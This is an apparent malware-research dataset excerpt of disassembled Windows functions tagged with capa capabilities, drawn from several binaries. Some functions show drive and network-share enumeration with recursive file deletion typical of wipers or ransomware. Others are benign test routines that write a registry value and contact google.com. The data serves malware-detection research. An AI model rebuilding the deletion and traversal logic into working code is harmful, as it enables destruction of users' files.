joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400014d0
Capabilities:
Get file size
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
mov eax, 0x10070
call fcn.140032850
sub rsp, rax
mov rax, qword [0x140050010]
xor rax, rsp
mov qword [rsp + 0x10060], rax
mov r8d, 0x7fff
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor r15d, r15d
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r12d, [r15 + 1]
mov r8d, r12d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400015f9
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
lea edx, [r15 + 8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], r15
mov rdx, rax
mov r8d, edi
mov rcx, rsi
mov r14, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movsxd rdi, dword [r14 + 0x3c]
movzx ebx, r15w
add rdi, r14
cmp r15w, word [rdi + 6]
jae 0x1400015f9
movzx ebp, word [rdi + 0x14]
lea rdx, str..INFO
movzx eax, bx
lea rcx, [rsp + 0x48]
add rbp, rdi
lea rsi, [rax + rax*4]
xor eax, eax
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x50], al
mov rax, qword [rbp + rsi*8 + 0x18]
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x14000162d
add bx, r12w
cmp bx, word [rdi + 6]
jb 0x1400015b6
xor eax, eax
mov rcx, qword [rsp + 0x10060]
xor rcx, rsp
call fcn.140003ee0
lea r11, [rsp + 0x10070]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
mov eax, dword [rbp + rsi*8 + 0x2c]
add rax, r14
jmp 0x1400015fb
Function at 0x1400029a4
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x290
mov rax, qword [0x140050010]
xor rax, rsp
mov qword [rsp + 0x280], rax
mov r14, rdx
lea rdi, str.C:Program_files
mov rbp, rcx
xor ebx, ebx
mov rdx, qword [rdi]
lea rcx, [rbp + 8]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140002b5c
inc ebx
add rdi, 8
cmp ebx, 5
jb 0x1400029da
mov ecx, 0xfffe
call fcn.140024450
mov rbx, rax
test rax, rax
je 0x140002b5c
mov esi, 0x7fff
lea r8, str._s
mov edx, esi
mov r9, rbp
mov rcx, rax
call fcn.140001730
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140002b24
lea rax, [rsp + 0x5c]
mov r9, rbp
lea r8, str._s_s
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rbx
call fcn.140001730
test byte [rsp + 0x30], 0x10
lea rcx, [rsp + 0x5c]
je 0x140002aa7
lea rdx, [0x1400488b0]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140002b05
lea rdx, [0x1400488b4]
lea rcx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140002b05
mov rdx, r14
mov rcx, rbx
call fcn.1400029a4
jmp 0x140002b05
mov rdx, qword [0x140055480]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140002b05
mov rdx, qword [0x140055488]
lea rcx, [rsp + 0x5c]
add rdx, 0x240
call qword [sym.imp.SHLWAPI.dll_StrStrW]
test rax, rax
je 0x140002b05
mov rdx, qword [0x140055488]
lea rcx, [rsp + 0x5c]
add rdx, 0x2a4
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140002b05
test byte [rsp + 0x30], 0xa7
je 0x140002b05
mov rdx, r14
mov rcx, rbx
call fcn.140002494
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140002a44
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rax, qword [0x140055488]
lea r8, str._s_s
add rax, 0x2a4
mov r9, rbp
mov rdx, rsi
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.140001730
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, rbx
call fcn.14002443c
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.140003ee0
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x140002bb8
Capabilities:
Get disk information

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xd0
mov qword [rbp - 0x39], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
mov rax, qword [0x140050010]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov rax, qword [rdx]
mov qword [0x140055480], rax
call fcn.1400014d0
mov qword [0x140055488], rax
test rax, rax
je 0x140002d18
xor ebx, ebx
xor edi, edi
lea r14d, [rbx + 1]
movsx ecx, byte [rdi + rax + 1]
movsx r9d, byte [rdi + rax]
mov dword [rsp + 0x20], ecx
lea r8, str._c_c
mov edx, 3
lea rcx, [rbp - 0x29]
call fcn.140001694
xor edx, edx
lea r8d, [rdx + 0x10]
lea rcx, [rbp - 0x29]
call fcn.1400243e4
mov ecx, ebx
test ebx, ebx
jns 0x140002c50
lea ecx, [r14 + rbx]
sar ecx, 1
movsxd rcx, ecx
mov byte [rbp + rcx + 0x27], al
add ebx, 2
add rdi, 2
cmp ebx, 0x40
jae 0x140002c6e
mov rax, qword [0x140055488]
jmp 0x140002c14
lea rax, [rbp + 0x27]
mov qword [rbp - 0x31], rax
lea rax, [rbp - 0x19]
mov qword [rbp - 0x49], rax
lea rax, [rbp - 0x31]
mov qword [rbp - 0x41], rax
lea rax, vtable.std::_Func_impl_no_alloc_class__lambda_5806f8c6aca86ca4f8a877d32bb3f3b7___void__struct__NETRESOURCEW____ptr64_.0
mov qword [rbp - 0x19], rax
movups xmm0, xmmword [rbp - 0x49]
movdqu xmmword [rbp - 0x11], xmm0
lea rax, [rbp - 0x19]
mov qword [rbp + 0x1f], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov ebx, 0x41
test r14b, dil
je 0x140002cf2
mov ecx, 0x208
call fcn.140024450
mov rsi, rax
test rax, rax
je 0x140002cf2
movzx r9d, bx
lea r8, [0x140048b20]
mov edx, 0x104
mov rcx, rax
call fcn.140001730
mov rdx, qword [rbp - 0x31]
mov rcx, rsi
call fcn.1400029a4
mov rcx, rsi
call fcn.14002443c
shr edi, 1
add bx, r14w
cmp bx, 0x5a
jbe 0x140002caf
mov rcx, qword [rbp + 0x1f]
test rcx, rcx
je 0x140002d18
mov rax, qword [rcx]
lea rdx, [rbp - 0x19]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
nop
xor eax, eax
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140003ee0
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140003d04
Capabilities:
Enumerate network shares

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x140050010]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov r9, qword [rdx]
lea rax, [rbp - 0x28]
or dword [rbp - 0x18], 0xffffffff
xor edx, edx
mov r15, rcx
mov dword [rbp - 0x30], 0x4000
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea ecx, [rdx + 2]
call qword [sym.imp.MPR.dll_WNetOpenEnumW]
test eax, eax
jne 0x140003e3f
mov ecx, dword [rbp - 0x30]
call fcn.140024450
mov rbx, rax
test rax, rax
je 0x140003e35
mov rcx, qword [rbp - 0x28]
lea r9, [rbp - 0x30]
mov r8, rbx
lea rdx, [rbp - 0x18]
call qword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
jne 0x140003e2d
xor edi, edi
cmp dword [rbp - 0x18], edi
jle 0x140003e1d
lea rsi, [rbx + 0x18]
mov eax, dword [rsi - 0xc]
and eax, 2
test al, al
je 0x140003dce
movsxd rax, edi
lea rcx, [rax + rax*2]
mov rax, qword [r15 + 8]
shl rcx, 4
add rcx, rbx
mov qword [rbp - 0x20], rcx
mov rcx, qword [rax + 0x38]
test rcx, rcx
je 0x140003e5f
mov rax, qword [rcx]
lea rdx, [rbp - 0x20]
call qword [rax + 0x10]
jmp 0x140003e0e
mov ecx, 0x208
call fcn.140024450
mov r14, rax
test rax, rax
je 0x140003e0e
mov r9, qword [rsi]
lea r8, str.__s
mov edx, 0x104
mov rcx, rax
call fcn.140001730
mov rdx, qword [r15 + 0x10]
mov rcx, r14
mov rdx, qword [rdx]
call fcn.1400029a4
mov rcx, r14
call fcn.14002443c
inc edi
add rsi, 0x30
cmp edi, dword [rbp - 0x18]
jl 0x140003d95
or dword [rbp - 0x18], 0xffffffff
mov dword [rbp - 0x30], 0x4000
jmp 0x140003d69
mov rcx, rbx
call fcn.14002443c
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.MPR.dll_WNetCloseEnum]
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140003ee0
mov rbx, qword [rsp + 0xa0]
add rsp, 0x60
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.140004e38
int3
Function at 0x140024990
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400247b4
Function at 0x10001e024
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rsi
mov qword [rsp + 0x10], rdi
push r12
sub rsp, 0xb0
and dword [rsp + 0x20], 0
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
xor esi, esi
xor eax, eax
lock cmpxchg qword [0x1000301f8], rdi
je 0x10001e07d
cmp rax, rdi
jne 0x10001e070
mov esi, 1
jmp 0x10001e07d
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10001e057
mov eax, dword [0x1000301f0]
cmp eax, 1
jne 0x10001e092
lea ecx, [rax + 0x1e]
call sub.msvcrt.dll__amsg_exit
jmp 0x10001e0f7
mov eax, dword [0x1000301f0]
test eax, eax
jne 0x10001e0ed
mov dword [0x1000301f0], 1
lea r12, [0x100001690]
lea rdi, [0x100001678]
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], eax
cmp rdi, r12
jae 0x10001e0df
test eax, eax
jne 0x10001e0df
mov rcx, qword [rdi]
test rcx, rcx
je 0x10001e0d4
call rcx
mov dword [rsp + 0x30], eax
add rdi, 8
mov qword [rsp + 0x38], rdi
jmp 0x10001e0bd
test eax, eax
je 0x10001e0f7
mov eax, 0xff
jmp 0x10001e241
mov dword [0x10002f924], 1
mov eax, dword [0x1000301f0]
cmp eax, 1
jne 0x10001e11f
lea rdx, [0x100001670]
lea rcx, [0x1000015f8]
call sub.msvcrt.dll__initterm
mov dword [0x1000301f0], 2
test esi, esi
jne 0x10001e12c
xor eax, eax
xchg qword [0x1000301f8], rax
cmp qword [0x100030210], 0
je 0x10001e155
lea rcx, [0x100030210]
call fcn.10001e5dc
test eax, eax
je 0x10001e155
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x100030210]
mov rax, qword [sym.imp.msvcrt.dll__acmdln]
mov rdi, qword [rax]
mov qword [rsp + 0x28], rdi
mov esi, dword [rsp + 0x20]
cmp byte [rdi], 0x20
ja 0x10001e1e0
cmp byte [rdi], 0
je 0x10001e176
test esi, esi
jne 0x10001e1e0
cmp byte [rdi], 0
je 0x10001e18a
cmp byte [rdi], 0x20
ja 0x10001e18a
inc rdi
mov qword [rsp + 0x28], rdi
jmp 0x10001e176
test byte [rsp + 0x7c], 1
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rdi
xor edx, edx
lea rcx, [0x100000000]
call fcn.100008db4
mov dword [0x10002f920], eax
cmp dword [0x10002f904], 0
jne 0x10001e1c9
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x10002f924], 0
jne 0x10001e1de
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x10002f920]
jmp 0x10001e241
cmp byte [rdi], 0x22
jne 0x10001e1f2
xor eax, eax
test esi, esi
sete al
mov esi, eax
mov dword [rsp + 0x20], eax
movzx ecx, byte [rdi]
call qword [sym.imp.msvcrt.dll__ismbblead]
test eax, eax
je 0x10001e207
inc rdi
mov qword [rsp + 0x28], rdi
inc rdi
mov qword [rsp + 0x28], rdi
jmp 0x10001e168
lea r11, [rsp + 0xb0]
mov rsi, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop r12
ret
sub rsp, 0x28
call fcn.1001a2000
add rsp, 0x28
jmp 0x10001e024
Function at 0x140001cb0
Capabilities:
Set registry value

Disassembly:
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xb0
mov rax, qword [0x140009010]
xor rax, rsp
mov qword [rbp + 0x47], rax
xorps xmm0, xmm0
movups xmmword [rbp - 1], xmm0
mov qword [rbp + 0xf], 0
mov qword [rbp + 0x17], 0xf
mov ecx, 0x20
call fcn.140003af0
mov qword [rbp - 1], rax
mov qword [rbp + 0xf], 0x10
mov qword [rbp + 0x17], 0x1f
movups xmm0, xmmword [str.SOFTWARETestKey]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0
lea rcx, [rbp + 0x1f]
mov qword [rsp + 0x40], rcx
lea rcx, [rbp - 9]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x140001e33
xorps xmm0, xmm0
movups xmmword [rbp + 0x27], xmm0
mov qword [rbp + 0x37], 8
mov qword [rbp + 0x3f], 0xf
movabs rax, 0x6174614474736554
mov qword [rbp + 0x27], rax
mov byte [rbp + 0x2f], 0
mov dword [rsp + 0x28], 8
lea rax, [rbp + 0x27]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.TestValue
mov rcx, qword [rbp - 9]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp - 9]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.Added_a_test_key_to_the_registry_at
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400030a0
lea rdx, [rbp - 1]
cmp qword [rbp + 0x17], 0x10
cmovae rdx, qword [rbp - 1]
mov r8, qword [rbp + 0xf]
mov rcx, rax
call fcn.1400036d0
mov rcx, rax
lea rdx, [0x140003270]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x3f]
cmp rdx, 0x10
jb 0x140001e33
inc rdx
mov rcx, qword [rbp + 0x27]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e2d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001e2d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003b2c
nop
mov rdx, qword [rbp + 0x17]
cmp rdx, 0x10
jb 0x140001e71
inc rdx
mov rcx, qword [rbp - 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e6c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001e6c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003b2c
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140003ad0
add rsp, 0xb0
pop rbp
ret
Function at 0x140001e90
Capabilities:
Create http request
Execute command

Disassembly:
sub rsp, 0x38
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x80000003
jge 0x140001ec6
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140001f97
sub eax, 1
je 0x140001f8b
sub eax, 1
je 0x140001ef1
cmp eax, 1
jne 0x140001f90
call fcn.140001cb0
xor eax, eax
add rsp, 0x38
ret
mov qword [rsp + 0x40], rbx
xor r9d, r9d
mov qword [rsp + 0x30], rdi
xor r8d, r8d
xor edi, edi
xor ecx, ecx
mov dword [rsp + 0x20], edi
lea edx, [rdi + 1]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbx, rax
test rax, rax
je 0x140001f7a
mov qword [rsp + 0x28], rdi
lea rdx, str.http:__www.google.com
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
test rax, rax
je 0x140001f71
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Connection_to_google.com_established_and_closed
call fcn.1400030a0
mov rcx, rax
lea rdx, [0x140003270]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rbx, qword [rsp + 0x40]
xor eax, eax
mov rdi, qword [rsp + 0x30]
add rsp, 0x38
ret
call fcn.140001870
xor eax, eax
add rsp, 0x38
ret
call fcn.140001490
xor eax, eax
add rsp, 0x38
ret
Function at 0x140002340
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x140002361
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14000238e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140002390
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x1400023e9
test ecx, ecx
jle 0x1400023c9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x1400023e9
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x1400023e9
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
Function at 0x140002410
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140002432
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je case.default.0x140002441
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140002464
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140002466
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400024a2
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14000253e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x1400024dd
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000251e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14000253e
cmp rbx, rax
ja 0x1400024f0
test rbx, rbx
je 0x14000253e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
Function at 0x140002960
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140009010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000298d
xor eax, eax
jmp 0x140002af9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400029c7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x1400029c7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140002af9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140002aec
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140002a0a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140002a35
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002af1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140002aa4
sub eax, 1
je 0x140002aa4
cmp eax, 2
jne 0x140002aec
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002af1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140002ad2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140002aec
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140002af1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140003ad0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret